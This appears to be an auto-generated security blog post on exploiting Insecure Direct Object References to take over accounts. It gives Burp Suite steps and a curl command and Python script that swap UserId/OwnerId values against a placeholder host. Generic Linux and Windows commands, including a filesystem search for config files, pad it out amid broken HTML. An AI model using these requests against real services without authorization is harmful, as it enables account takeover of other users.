IDOR – Insecure Direct Object References during VAPT to ATO

Listen to this Post

2025-02-16

Insecure Direct Object References (IDOR) are a common vulnerability during Vulnerability Assessment and Penetration Testing (VAPT) that can lead to Account Takeover (ATO). Below are the steps to reproduce and exploit this vulnerability, along with verified commands and codes for practice.

Steps to Reproduce:

  1. Create Two Accounts: Make two accounts, labeled ‘A’ and ‘B’.
  2. Profile Settings: Navigate to the profile settings where there is an “Update Details” functionality.
  3. Intercept the Request: Use a tool like Burp Suite to intercept the request. Look for parameters like `UserId=` and `OwnerId=` in the request.
  4. Capture Second Account Request: Capture the request from the second account (Account B) since `UserId` is unique.
  5. Replace Parameters: Replace the `UserId` and `OwnerId` of Account A with those of Account B in the intercepted request.
  6. Send the Request: Send the modified request. If successful, you can manipulate or take over Account B.

Practice Commands and Codes:

  • Burp Suite Interception:
    </li>
    </ul>
    
    <h1>Start Burp Suite</h1>
    
    java -jar burpsuite.jar
    

    – CURL Command to Simulate Request:

    curl -X POST -d "UserId=123&OwnerId=456&details=NewDetails" http://example.com/updateProfile
    

    – Python Script to Automate IDOR Exploitation:

    import requests
    
    url = "http://example.com/updateProfile"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"UserId": "123", "OwnerId": "456", "details": "NewDetails"}
    
    response = requests.post(url, headers=headers, data=data)
    print(response.text)
    

    What Undercode Say:

    Insecure Direct Object References (IDOR) are a critical vulnerability that can lead to unauthorized access and account takeover. This article demonstrated how to exploit IDOR during VAPT to achieve ATO. Below are additional Linux and Windows commands to enhance your cybersecurity skills:

    • Linux Commands:
      </li>
      </ul>
      
      <h1>Check open ports</h1>
      
      netstat -tuln
      
      <h1>Monitor network traffic</h1>
      
      tcpdump -i eth0
      
      <h1>Search for sensitive files</h1>
      
      find / -name "*.conf" -type f
      
      • Windows Commands:
        [cmd]
        :: List all running processes
        tasklist

      :: Check network connections
      netstat -an

      :: Search for files
      dir /s /p *.conf
      [/cmd]

      For further learning, visit the following resources:

      Understanding and mitigating IDOR vulnerabilities is crucial for securing web applications. Always ensure proper authorization checks are in place to prevent such exploits.

      References:

      Hackers Feeds, Undercode AIFeatured Image